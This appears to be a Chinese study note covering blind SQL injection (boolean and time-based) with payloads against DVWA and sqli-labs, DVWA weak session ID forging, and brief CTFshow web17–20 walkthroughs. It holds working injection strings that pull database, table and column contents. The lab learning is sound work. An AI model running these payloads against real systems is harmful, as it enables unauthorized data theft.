SQL Ingection(Blind)
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。
布尔盲注
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
当然如果上面的函数被禁用,也有相应的函数替换。可百度
布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+
当前数据库database()的长度大于10,返回true页面,否则FALSE页面
substr用法
SUBSTR(str,pos,len): 从pos开始的位置,截取len个字符
substr(string ,1,3) :取string左边第1位置起,3字长的字符串。
所以结果为: str
substr(string, -1,3):取string右边第1位置起,3字长的字符串。显然右边第一位置起往右不够3字长。结果只能是: g
substr(string, -3,3):取string右边第3位置起,3字长的字符串。
结果为: ing
SUBSTR(str,pos): pos开始的位置,一直截取到最后
substr(string ,4) : 从右第4位置截取到最后
结果是: ing
SQL时间型注入
判断时间型注入时,只要让sleep()函数执行成功,那么就可以根据回显时间判断是否为时间型注入
在时间型注入中,常常用到if()函数,if(语句一,语句2,语句3),如果语句一为真,执行语句2,否则执行语句3
几个常用的判断函数,substring(),length,user(),database(),下面是几个判断时间型注入的常见语句
' and if(1=0,1, sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
type=sleep(3)--+ 这里有个参数type,判断出存在时间注入,那么接下来我们就可以和盲注型注入差不多进行注入,在进行字符判断时,可以使用二分法加快速率
1. 判断数据库长度
type=if(length(database())=12,sleep(2),100)--+
2. 判断数据库名字
type=if(substring(database(),1,1)='p',111,sleep(3))--+
3. 判断表名
type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1='a'),11111,sleep(1))--+
4. 判断列名
type=if(substring((select column_name from information_schema.columns where table_name='flag' and table_schema='database()' limit
0,1),1,1='a'),11111,sleep(1))--+
5. 判断具体字段内容
type=if(substring((select flag from pentesterlab.flag limit 0,1),1,1='a'),sleep(3),111111) --+
步骤:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
Low
布尔盲注
输入1' and 1=1 #,显示存在
所以存在字符型注入
猜解数据库名
输入1’ and length(database())=4 #
说明长度为4
然后采用二分法猜解数据库的名字,可以用if函数,这里用的ASCII值,道理都是一样的:
1’ and ascii(substr(databse(),1,1))=100 #
第一个字母的ascll码是100,也是d,以此类推得出数据库名为dvwa
猜解表名
输入1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #
说明有 两个表
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在,说明第一个表的长度是9.
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #显示存在,说明第一个字母是g。
再重复步骤猜解,即可猜解出两个表名(guestbook、users)。
然后再继续猜解字段名和字段中的数据
Medium
源码分析
id = $id;”;判断为数字型注入
可以通过burpsuite抓包改包
基于布尔盲注
余下操作与low级别类似,但是该报位置不同,结尾不用加#
High
源码分析
使用limit限制,但是可以通过#将其注释,存在字符型注入漏洞
基于布尔型盲注
输入1' and 1=1 #
剩下的就和Low级别一样
Weak Session IDs(弱会话)
用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识。一个SessionID就对应一个客户端,用户拿到session id 后就会保存到 cookies 上,之后只要拿着 cookies 再访问服务器,服务器就知道你是谁了。
但是 session id 过于简单就会容易被人伪造,根本都不需要知道用户的密码就能登录服务器了。
low
源码审计
源码如下,setcookie() 函数向客户端发送一个 HTTP cookie。如果用户 SESSION 中的 last_session_id 不存在就设为 0,生成 cookie 时就在 cookies 上 dvwaSessionId + 1。这种生成方式过分简单了,而且非常容易被伪造。
抓包 得到cookie
抓包重放,可以观察到,每重放一次,dvwasesion都会增加1
Medium
抓包得到时间戳
利用转换器进行转换
伪造cookie 设置时间戳,可知诱骗受害者在某个时间点基进行点击
CTFshow
web17
访问 url/backup.sql
得到flag
*.sql文件是mysql数据库导出的备份文件;
web18
按ctrl+u查看源码
查看js文件 得到Unicode编码
在线编码转换 得到提示 访问110.php
得到flag
web19
根据提示,查看源码
得到用户名和密码 登录却发现不正确
利用burpsuit抓包 绕过前端加密 得到falg
web20
格式是Microsoft Access软件使用的一种存储格式,因其对数据操作的方便性,常用在一些中小型程序中。
mdb文件一般用ACCESS就能直接打开,当然也可以用办公软件excel来对打开。
mdb是数据库文件,一些数据库软件也能打开mdb格式文件的。一般都做是程序用的,先在电脑上安装SQLSERVER数据库软件,然后再附加一下就可以打开。
我们直接访问url/db/db.mdb
下载文件通过txt打开,得到flag
得到flag